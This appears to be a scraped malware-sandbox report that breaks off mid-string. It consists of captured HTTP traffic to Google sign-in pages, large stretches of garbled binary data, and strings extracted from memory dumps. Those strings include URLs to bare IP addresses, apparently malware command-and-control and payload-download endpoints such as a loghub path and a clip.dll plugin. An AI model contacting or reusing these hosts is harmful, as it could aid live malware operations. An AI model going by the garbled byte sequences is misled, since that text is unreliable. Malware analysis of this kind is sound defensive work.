A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=Content-Security-Policy-Report-Only: script-src https: 'strict-dynamic' 'report-sample' 'nonce-E9Ma3EAteBkXZIeIgvIk1DU7TNTYilAXamYYLU7CGng='; base-uri 'self';report-to csp-endpointReport-To: {"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingcsp"}]}Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionX-MSEdge-Ref: Ref A: A168BDB479AC4149AC590D201C1BC09A Ref B: CO1EDGE1309 Ref C: 2023-05-31T20:45:09ZDate: Tue, 31 Oct 2023 01:38:06 GMTConnection: keep-aliveAlt-Svc: h3=":443"; ma=93600X-CDN-TraceID: 0.b4fe19b8.1698716286.467291c �( @ ��N��Sz��R��R��P��N��L��H��DG��R6��U��U��S��R��P��N��L��I��F��B��7��S6��V��V��U��S��R��P��N��L��I��F��C��?��:z��O��W��V��V��U��S��R��P��N��L��I��E��C��?��;��{7��q2$��T��D��].��S)��p6��J��R��P��N��L��I��E��B��>��;��z7��p2��f,X��A��O#��N!��N!��N!��P$��q:��P��N��K��I��E��A��=��9��x5��n0��e,��5��Ea�Z,��T$��T$��T$��T$��T$��T$��OG��L��K��H��D��A��<��7��v3��l-��a(��[$��`@��p0R�['��['��['��['��['��['��['��H��G��C��?��:��~5��s0��h*��]$��S��]��a+E�a+��a+��a+��a+��a+��a+��a+��D$�@��=��8��{3��p-��d&��X��P��Z��_��h-E�h-��h-��h-��h-��h-��h-��h-��:G�4��x/��l)��_!��S��o!��U��\@��n/E�n/��n/��n/��n/��n/��n/��n/��s*z�g$��Y��c��B��O��X@��s1E�s1��s1��s1��s1��s1��s1��s1��`��ݰ"��4��@��J��S@��z2E�z2��z2��z2��z2��z2��z2��z2��*��%��!��-��9��E��N0��3E��3��3��3��3��3��3��3��,��(��"��&��2��?��4E��4��4��4��4��4��4��4��2 ��.��*��&�� +��7��5E��5��5��5��5��5��5��5��3��0�� )��#��$��0��6E��6��6��6��6��6��6��6��4��2��/��+��'�� 0��7E��7��7��7��7��7��7��7��6P��5��3��1��-��)��$��7E��7��7��7��7��7��7��7��7��5��4��3��/��,��(@��8E��8��8��8��8��8��8��8��7��6��5��4��1P��8E��8��8��8��8��8��8��8��70��7��6`��9E��9��9��9��9��9��9��9��9E��9��9��9��9��9��9��9��9E��9��9��9��9��9��9��9��:E��:��:��:��:��:��:��:��:E��:��:��:��:��:��:��9��;E��;��;��;��;��;��;��:��;E��;��;��;��;��;��:��;��;��:v��?��?��?��", "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-Alive", "HTTP/1.1 302 Moved TemporarilyContent-Type: text/html; charset=UTF-8Strict-Transport-Security: max-age=31536000; includeSubDomainsSet-Cookie: __Host-GAPS=1:Rd2s4wOJQQr8Noq93XgIqVRhvAfobg:oZHccuyTLLxjK_FK;Path=/;Expires=Thu, 30-Oct-2025 01:38:10 GMT;Secure;HttpOnly;Priority=HIGHX-Frame-Options: DENYContent-Security-Policy: script-src 'nonce-lXwcEUv2ELvl4JdRbV7fHQ' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreportLocation: https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2FContent-Encoding: gzipDate: Tue, 31 Oct 2023 01:38:10 GMTExpires: Tue, 31 Oct 2023 01:38:10 GMTCache-Control: private, max-age=0X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockServer: GSEAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Transfer-Encoding: chunked", "0000000100000001�0000000100000001000000010000000100000001000000010000000100000001�000e3�PAj�0��B!=ZN��u��X�K_E�1��ax%�u��~�7Q�8z�IN��#��_�o�d��)��2�Q|&��Ht@ΨfƑNZ��:eJ;�F�ĘTg�l�"��5{�i��f7Jk��6y|H�;��g��f�4��s%˳��À��x��fL�Y�ž�K��P�/��@�R", "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comCookie: __Host-GAPS=1:Rd2s4wOJQQr8Noq93XgIqVRhvAfobg:oZHccuyTLLxjK_FKConnection: Keep-AliveDNT: 1", "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyyHB0DVQpSUxd08jMtX3cF2ahfeQdSc1tk-e0xNxiRwWzKAFeNU6qUeCkyKbaev958NDvBf8w HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comConnection: Keep-AliveDNT: 1Cookie: __Host-GAPS=1:Rd2s4wOJQQr8Noq93XgIqVRhvAfobg:oZHccuyTLLxjK_FK", "HTTP/1.1 302 FoundContent-Type: application/binaryCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 31 Oct 2023 01:38:10 GMTLocation: https://accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyyHB0DVQpSUxd08jMtX3cF2ahfeQdSc1tk-e0xNxiRwWzKAFeNU6qUeCkyKbaev958NDvBf8wStrict-Transport-Security: max-age=31536000; includeSubDomainsContent-Security-Policy: script-src 'nonce-wWC3OKcl-zoD-gAsDxW8Gg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsSigninPassiveLoginHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Resource-Policy: cross-originPermissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factor=*, ch-ua-platform=*, ch-ua-platform-version=*Cross-Origin-Opener-Policy: unsafe-noneServer: ESFContent-Length: 0X-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000", "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyyxFJQoPcoKm1i_Mq50x0rwqnHwCCOfmmdjhv6Mb7HgxpGOUtLEzSGyQwdbUCzMi96-g6RR5g&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-636563394%3A1698716290815577&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:Rd2s4wOJQQr8Noq93XgIqVRhvAfobg:oZHccuyTLLxjK_FK", "HTTP/1.1 302 Moved TemporarilyContent-Type: text/html; charset=UTF-8X-Frame-Options: DENYCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 31 Oct 2023 01:38:10 GMTLocation: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyyxFJQoPcoKm1i_Mq50x0rwqnHwCCOfmmdjhv6Mb7HgxpGOUtLEzSGyQwdbUCzMi96-g6RR5g&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-636563394%3A1698716290815577&theme=glifStrict-Transport-Security: max-age=31536000; includeSubDomainsCross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_qebhlk"Content-Security-Policy: require-trusted-types-for 'script';report-uri /cspreportContent-Security-Policy: script-src 'nonce-YD4Gl1pBTRWHWxp0nM8GRQ' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreportReport-To: {"group":"coop_gse_qebhlk","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gse_qebhlk"}]}Content-Encoding: gzipX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockServer: GSEAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Transfer-Encoding: chunked", "000181��R�r�0��{S@J�젢�B��=u�%A��F��;��f��7��e�;��k3z�K��`��g$�r�4wit�8�g�d1�M{��7�6X��]��`Ϻ�55Z�1d�0LK&��8Ec��>Wٸ,��<�'�� !Q�>�\%r�R�r(�t"�?��f��-�+j��+|Z��p��$!�!�?�ߕ�mW[�4��ӊ��K��}j�өb|��vC#:f{S��Y4�:�m�'ɠ��Z�Z��+TAU�2��tt�Cu��2�k�i�7��$��"V��DQ��K@0�� I�a+cH�#�̎c�C��}j��[��q�", "0000000100000001�0000000100000001000000010000000100000001000000010000000100000001�00000001�00000001X00000001�00000001W00000001�00000001�0000000100000001�00000001�01�af2�f�Z�1q��L!O��A1�h-�e��DGAu��#�ć��Q�j��{$Z��r�ɜ]c�M�}��"��s�7M}3��x�0��@�-��翲f:!��V�f�m�BĦ|)�<��f�,�,�� ˹Ԕ��s$��⯆��{�vv��c�4p��%� �Z��7�(GG�^w��3�LF�P�넨ˉ3��D�/�'�:HM46W�u��V��ѽ��??�Q��uX��M낿u7CJC�bJ7fqM��y�\�K�>��!�O�F��?��))��U��,��Ƨ(D��d�p2��s⦴ĦKv>so�C��r�͒˭��q2ܺV`��r��!#$/��ڠ$��o��bY}�3&)ն��p��v޲|*��#�T�A��{-mÏ��U��bv�L��b��O;��3]@՜�8�V�C�Zq.�"��Uq%z��>[��fYꓱ��s}�n�^g", "=>��*ߴ�}R��Ѩ��O@��b?�c�'��ÊU+�{�r�^]5��$mT��X�R=�Cz��D��Y�ç]n�fG8~�o�>+a�k��)��{FX`Y��W��&0Ep��JK5�0��a}Ǡ��f��Aܘ��y�:1n�R+w2�\�W��'��SYK�6���]�)�%/ ��p7�o��Țb��x��^��]��v0�)��6�7��P4Oo{r[T��H�?��N�6j��p߬��颺?-�/��8��y�mQ�:��Eh��G��i�\�h�)��K��W��P� h��z��۹�ZM�r��O��bx�6׶x�jԏ��ˋ�Zqo��P��?2��hyw�T�L��:;E�rP_WN�o�G�zk� u��Mr6r��z͈�Al˸�ο�.HupG��rgp.�e�R�U��Qì_��&~�Ǹy��5��Q�Ը>�s��u˸�_zL�_��E��j�ޗƗ� �>��)��;�l��s�t�{D�?7�^g��_�yUB{��#�7�y6׀�R�A}Ƕ��П��ޞZ��o�8�"��ݨ`�%�;uׅ�m��a��V~��gmf�$W�Z<��˖��3Ѳ6��g�{fw�%>��߈c�*�̊��$b9wo/W}�r��fs��$��,�e^P��K)�Yh�}!��C�kAW��[%��hӇ��Y!��z��{Ĥl��u$H�� l�N��3��Գ2W�"=�4��O(�5�J�֎nH,S�5�}u:�[y%�H��rQ%G�.�2�7��`@�F�K�+L��x>!�\�L��Nk_�O��w��7��Jd3e�3O��!�0�Y�GP.UB��X�L�䂊5��9��1˴�ͨc��Io�A�yAtWp�V00��,�D��c��Ғ!&&��s; 1`&�s�V�nA��!��\@��5�/��wM74X�7Y�OV�H��-~U`� �J�)��!��%`�܎?v7>�}��*�jx�9y�ynoO��7$??�X�ڵ̎)Y��i?[@��Y G(x�x��x��g�?b�+��?>ƫ:��"��,b_��rۉ�ǏYEb!�3T��Y\��n$K�V@*^4 ��?J��!?��<�C1v�u�ȋo��HQ &)�%��G��w��!f!S�Ŕ#�TZ~yi��2ͬo�k|0��[�k_�?��m�cG�Ng�#'��QF�|��ϡ��mRA)�z�7��B��-^�ǒ��[��kP��4�o�uM��}�$��OB��yW�f��r;+�I��<��x��", "00000001�00000001]00000001{00000001s00000001�00000001:0000000100000001�0000000100000001?0000000100000001�00000001�001253��"�#��ٴy4m��٤�s��ς��仯^��lo�9GG�y��D��-�� :�|N��x�۫��b�'�ׅ��>�\|\��o��u^{��w��|��~��r�_��hxux��p�s��Շ�W�b�<:{�q}�j�:��S�Y��4D��w�>?<9�s��=��hV(�1��6��3~� ݬ��m#�K�T��뫃��귾�/`/��*�f��ӧ�7nH�:�1Gm�>]t�>�~h1��u��^|?n��K��n?�wW��9�M:0�,�)� ��h<��:�+sg�g�ȧ�;�T��l6��B�'þ��v��0jM�Y�0jk��N'~�ŶiA"кt<�E� I�@��|�Ơ#�a�o@:�F$�R�=��*�� b�9�O��BOvcy`W�|��z�W�k{=kg��V�t\�|�"�K %��_��1��7T�fT��_>~��Ί�BjL��?�� Nƃ��J�cF>�y��G�x��P�_Ň��ѪF�#��y6�'mH�F-��;��zS�|s�BCӫI��djv�ك�� e�1�S�z#ks�1��aɍ г��v͕-k.I~=�`�|�6��U��^��\fQ��g�-��;pBh��x��C��zܸ;YZى��V��&> h�-.�-O�m��x74l��7��V�p�̅V�vw`ȱ@=P�]z�7��{Ψ��kj�6�Mk�Mɦ�:��O��z��/$�h�\�u��+;��]k��z+��q�<�IEo�H�:��$\u��Q�=��ט'�� n�!>��}>��K=��ި��30�f��p��f1׊��T�܃��+�Ƴ��x�னqC 88�{�ֳ�_jVc��:�#�z}(�R�-�T]j��m�F��-�"�&[�~�}�b��%��wp��V��U��q!��B�2��mg4�-)�x�_��>~�w��ѕ�+ŉ��8'�Vĉ�#��t:t��s��ȗ�c��Ђ�A��έ>ԓ�S", "!��UM��C[��g�%�P�*a�#�a�Ɋ��i9c��$j��QH�da�oz�x'��7}%�`��B�s2�i0��O6��6�[��wV]!��ub��=�>�#�t[O<�͖��`��t��q�i�kB��:��#�|��⡷ۖ�B!~k��^��e��0��\7p�a��ŋl9Vx��荑��IW-�;�yu%Ί}�yÃ�~J��49ȈZ>)-��pt{>��8E遬Q��ED"C&�9X��g�9�J�7��pٯ�>��9��ǳ��1�ʀ�̐�$^��-�|��6l0|�~=��@��پ�fu�]�Yy�>��G7O<��m��lk�8��pm�]��'��w�9�B��%v\(��J�1�gz+1�0N��`>��t�y}��؊��0ʞ��XU2��3��6D�ވ�\g�\O��e��2*�Zb2�($P9ƙ�p��N��;gK�9FA��qV��i��ӄ��G&%[��P�#{p�QA�Y��f��m׿��i~肻��m�Ǔَ�X��"pY�{�/��p0U��t-f`��*��0�.N�좜$I��@��KT(K"�+��w.�N�=�g��V��HMa�7O�nt�i��UQݎŕ��hE@!��`y:��.�Z\̯�k��~oxܥ��1��8V��$J ��l��[W��bP>*�D#�nÉ1a��2��Jj�֪tx�"��'B~��u��Y*�cO��zT��H+[�ZWhՄ8��`��ƛrjz�Ԑ��ݹ��:��?�ݠ�@d�~��q�0��3t�3�&� ʭS�˸��{KJ�܈"4��E�]�]�|��ȱ�&L8<�+��Vv��5�Z��*s��U/^I��%{'ŋ�;�L.=�'�u��"��e>|�?�lpQ;�[��up�AX��D��.FXZbwE�B%f�Q�xӥ��pf/;6�`Ӎ8�^riƵ@E��[s�h��pw'D�W��#$��жK9��pr�T��@�$��.��%U8xs�Ol�=7>��u�~o�MC�o89�wd�F<�<}l��uO�ǘ�/��#)N�wE��g`fN�=;2@"N�*��$�_"]��E�̿�$P@;��Nʳ��@�|�D�|�փ��bm�(PXhR('4[*��'��[�l�圃�c��܃��6@�u�m�6�f6��.�Rn`��gRD�a", "��%�Zdc�X}�M�9\��|�2�2ͩ�Bfl�K�W�XP3�R��_�ې�l��)��6$��؇��ã[��D{2�M��V��eӤx�xr[vr'��%1�5��L-�"�Y��y࿌6RUZ�[��N\3,�+IU9��j�ݫ��~�!�׸I�3��\Ҥɨ�o�&5i��'^��)/�Kr�dŜ�h&�]4��AA�܉��N�&��=2Y=�\b� �!��xև��[X�O�T��)8N��2�A�b��%şT�F�Wb�z�r�'~OO!��b"~E��k~�c�Fgh֥y�_M��URP#��ݥcm[�ˆ�!A��BN>��J��t��f�'�|d�H�!��?�d�{716��j�e�L�6S��ŕ��F�tEm� W��B\��-��Ŷ�|�=��At�.��L�ž��"�&L��́��N��\��i�9��l=Q}8��w��|[��mx��!��%�j��;n��i$̋�|:u�.c�L�[�z�"�[*��p�t�}�6ea��P�<\J��K��d�N(|�Z��͕2wN��Bz��%J��d,�8��X|_�/\+^��oUk�Ř�펍?h�a��V��w��!�-�K� �L��o�b��6P�&�i��1ћ5��͔��w]W��]�uݴ�ϵ�9��y�*`Ņ(�:&�%Slʾ'W�v��;*Yƛ��҃\�d��O@H"tR^��bI�ҹ��Q�yPl�7��kkJm�P�g��W��J!X\��;ԫ�|��F��O�ȺJ,K��qQ��|G}'�B��*��6��~��IW�?�m��pVSo2s��p��kz�,"�\��Xo��bn9�:rC��Ů&tC�V��;�X��NńjP��&�0�E&ra�^�N��d��e�!�KH�|L��??�1`bJ�d��Ω)�&��Ը�hCX� b�+ir*+s��ۀ;39l �`��O�B�9o2��aR�铈9�!Rɐ#�J�9�ޥB� "EC�q�(�=X�U��]�9=t�&ϩP'��S�U�˙zp|�Dkz�gR֣��." "�]D=yx�@��eܕ�8ƿ{R��J��7�ݻ�Aߎ<|�{ǧ6��Qe@1Q9�F��O{<=Y��Z@97�~�I��u��;E�TҸG�'�x<��??ͺ��{Un�7��濺��0c�%eUD�<�uJ�&�f��r�!�%�۰{��X�4�@X�7��j��P�DK��#}C��.#}��Ȟ��(�䞊_��η�]�tpܝ��I��N��$�+�:��w�O�xck��ʟy��CpQz�~]�B� �yB�.=8P�J��È]�`F��e��H��(�ܨtR(��Y��)6�³1G��Y��Xi2g�!�l��7M�ٮzXv�P}4G?"\��.D��w�7q�9��n��^e��j=�U��6/(�L�:W�9��8��y�,�i�4��;��n"�IfNb.<0�c�-�04��z%~�#�)ŒX��4Ρ��E��ԕ��(�c��-Uo6ˌ��ɝ�8�T�&>��v��i(��r|ds]�]��2{�AF_7�G��q�s"�S�*=��x�͉��_��~�DrQ�cjr��ލ�K�tD�tI迢�/�u�#��q˅G��>*;�n�r��b��*�gsF��X��p�T2��b��ʘ�5��Ź�5��", "00000001�0000000100000001�00000001r00000001�00000001600000001�00000001W001<97eӗj��:l)��8��$vl%��v��h�D)�=��H� �� KLӧ��bw��/�n��.¹2��!�5��K�?�QIG��z��b�2�q��N�a��D��1�_�Fu<�G�.�-��(�f)��jBfGED��^%��a�*B B��A��R�V�C�m��/q��8< И��+ʄ8�[�Ǟ��p36�5Ԅ��-4cX��J3�j��f�A��$�b�ň^��+;#Msgb�F�@g##��q^�]�<��)|V�X��ᯠ@�%C[��9�"Q�ab%�`��9|S5��S5r�6R�T�+3�)X��^�T��z��_"�1�^}��rձʵjI4��Y�S��n�3��B~�(�O �A;4ک�j�d#�|��;��m�&C��O�O��5�Z�cx}�= M�v��KfI��jIr��0�^��uv�]fcҋ�ߦء�L[z��Ek2�j�qa��w0ӆ�ۯ�[��[�[-��u|Ӛ}]{�tk��d��q��>��=�,V��c��z��uF�h�-��d��9��ԏ� ��CO�]�X�$�n3��8ChO��hF��g�h?�ѕ�bj��@�g��n4D��+��ٹmA��,wEf��O�z�z]��~'��t:��M�+��`��J��;��|��2�&k^��.", "HTTP/1.1 200 OKContent-Type: text/html; charset=utf-8X-Frame-Options: DENYVary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Sitex-auto-login: realm=com.google&args=continue%3Dhttps://accounts.google.com/x-ua-compatible: IE=edgeCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 31 Oct 2023 01:38:10 GMTStrict-Transport-Security: max-age=31536000; includeSubDomainsContent-Security-Policy: script-src 'nonce-qCKvOnBn-KQ7g4j_xKpUgw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /v3/signin/_/AccountsSignInUi/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /v3/signin/_/AccountsSignInUi/cspreportReport-To: {"group":"AccountsSignInUi","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AccountsSignInUi"}]}Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy-Report-Only: same-origin; report-to="AccountsSignInUi"Cross-Origin-Resource-Policy: same-sitePermissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factor=*, ch-ua-platform=*, ch-ua-platform-version=*Content-Encoding: gzipServer: ESFX-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Transfer-Encoding: chunked", "�2K�l;ʰ�6�]�;s�`�I[�2��>B��*��+bQ�ֻ��9�q+��0��x�?��3�0��7]��r"?�f�5)v�n��??��i�H�DJ��B�)A�%�X��:h��N�s/<]�S%ݭ+��'G�w��e�e௽�|F�hw��E�7�qgmg��#��f:�F�co��+?Oc.��0�4�n:��G��RR@�7y��O4vZ!�3'��tt\��@�`�w�δCo�ً�|��y��$J��q�&%��!{�WsaR�6�lt�-�Vt��#Ĩ{;��S0��>��Ͱ�l��O�t��q�m<�Ctj��;��ƛ�w�� @g��Yx�&��D��MC"��&V7��r��-E��e��Oa�=�WjF�Rҹ� �gt�E��25�j�y�!�aP��vT��4*��|�T�g�JДp��$��O��s�"hJl�6�>}��:��"��8!�"�{�y��|�T~��Ӓ��#fs?ĿA��%��ķ@��/��jз��sS�*�q*aҗsY��W��K��<�lƋae�$��|��As+��\��w'�O��|��*ͦgA��\�u�J}W8-c<�Y��f��_5.M�T�O>]�A�ξ}v�n�K��b��aE$��4��"�7Oo�"��T�:��#��L�s��}�wF��L�B*�t0��P�_��o�x��P�|X.��J�� N��k��Z%�G��֩FF<��7��kp��i��x'�gBCz�D@��p��H^�M�Z��x��]Oe�8�F��#pq�@G��K*�E��e�D�[�E(�|�U��䀑�$_�JY�u[C�UK�fA m<��agA.@8�]��׋S�� .x�w�V�� xv)��IN_.=8��// p6$��v�N*;��e��ʊ^I�zf1"I1��a8�'��y�z[��-��z��{��0(�hJ$��߱��K�'�MD$��[��L��a�_��" "00000001�00000001]00000001�00000001o00000001�0000000160000000100000001�00000001W00860�R�j��G�&/ܬi��I�-�=ز\q,ײ�6��I"%�E݉�t�S�H��#�#�t'D�h� d�F��.3��y��k=ӉN 6��Q��\ɦ:�Ăp:�,��Q�xpA��VB�t��Cw9�%Q)ZL(�V*- ܝ�7��Q�h��f��}s�=]t&VC��*J��˂`(�8�ƁK>�ֆCcr|(�]2�'�v�`04�3e)�CcUC9��P��f�h�!��vLJC�rh�XY�[r��.�?�O��Xx��5�G��_J��P��r\��Lp��H�dNjz��̩e0��E��V ^r�)L��X��^��@��W�%Ǳ *Sr1dO@�A�� L�(ܺ"��7�w��<]�c/R�@�z~87?�~�Ҥ�?��ŔI�R��K|�EIl&t�+��+:�+��r��®Y�p;X��U��5�7G��[��4ή�<0N�$��Rp�k�[�[�G�Ŀ<�"��s��7IU�x�wɑ̗��H��{��q�"+gƿ��!��$![q�n��դhT2�~ӏ��V�,��D��F0�@�~{�?\�T?��/�+aҕ<�U��h��U��V��+X��F(�o�O��B��%�OGqbb�ZyҤZ��%��X�=.��o�۶=�,��A�Z9z�{!�/;�L`��uMx��Xq0�n�:ѡ��c=��z�%Fi)J��4W��u��zԩԫ*z�%��E��SOD��]��W�S�S�s��B�(jnL1�N�^UL1 ��bJ��}��M��կ��,�)�D�a��x�9��Ô�R(�E�m�)�թԫj�)�6SL�Q�X��W�վ�jv�^۟N��t��^ =��~�ls@z4��I��I�j�J�alp�"*��b��9�I��1��A|��yO��G��t�)Og)e==��wb�WA��N0jo;^�u��M̹BU��oz��"68:T80a,Found URL "http://193.233.255.73/acmg--ionsyzkf9vqehrt3dhz1content-disposition:" - Source: "00000000-00000824.00000000.68205.000D0000.00000004.mdmp") Found URL "http://193.233.255.73/loghub/masterlmemlmemlmemlmemlmemlmemlmemlmemlmemlmemhttp://193.233.255.73/loghub/masterpath=c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\users\hapubws\appdata\local\programs\python\python38-32\scripts\;c:\users\hapubws\appdata\local\programs\python\python38-32\;c:\users\hapubws\appdata\local\programs\python\python36-32\scripts\;c:\users\hapubws\appdata\local\programs\python\python36-32\acmgdatahapubws\appdata\roamingcommonprogramfiles=c0" - Source: "00000000-00000824.00000000.68205.000D0000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.phpdntexceptiondntexception:c:\users\hapubws\appdata\roaming\microsoft\windows\dntexception\domstoredomstorec:\users\hapubws\appdata\local\microsoft\internet" - Source: "00000000-00003064.00000001.69998.00490000.00000004.mdmp") Found URL "http://77.91.124.1/theme/plugins/clip.dllc:\users\hapubws\appdata\local\microsoft\windows\temporary" - Source: "00000000-00003064.00000001.69998.00490000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.phpma>,asycaz1uz1upqqqqqqqqqqqqqqqq" - Source: "00000000-00003064.00000001.69998.00542000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.phpdntexceptiondntexception:c:\users\hapubws\appdata\roaming\microsoft\windows\dntexception\domstoredomstorec:\users\hapubws\appdata\local\microsoft\internet" - Source: "00000000-00003064.00000002.71916.004F0000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.phplmemtp://77.91.124.1/theme/index.phplmemlmemhttp://77.91.124.1/theme/index.php/themelmemlmemlmem/themelmemlmemlmempm[" - Source: "00000000-00003064.00000002.71916.004F0000.00000004.mdmp") Found URL "http://77.91.124.1/theme/index.phpma>,asycaz1uz1upqqqqqqqqqqqqqqqq=qag]!i$d.0w" - Source: "00000000-00003064.00000002.71916.00542000.00000004.mdmp")69:Ta52,file/memory contains long string with (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-Alive" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /i/flow/login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: twitter.comConnection: Keep-AliveAccept-Language: en-US" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.facebook.comConnection: Keep-AliveAccept-Language: en-US" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /en_US/i/icon/pp_favicon_x.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive" (Indicator: "HTTP/1.1"; File: "SSL") Found string "HTTP/1.1 304 Not ModifiedDate: Fri, 27 Oct 2023 11:41:29 GMTExpires: Sat, 26 Oct 2024 11:41:29 GMTAge: 309412Last-Modified: Mon, 16 Oct 2017 17:32:56 GMTCache-Control: public, max-age=31536000Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000" (Indicator: "HTTP/1.1"; File: "SSL") Found string "HTTP/1.1 304 Not ModifiedDate: Fri, 27 Oct 2023 11:41:29 GMTExpires: Sat, 26 Oct 2024 11:41:29 GMTAge: 309415Last-Modified: Mon, 16 Oct 2017 17:32:56 GMTCache-Control: public, max-age=31536000Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; 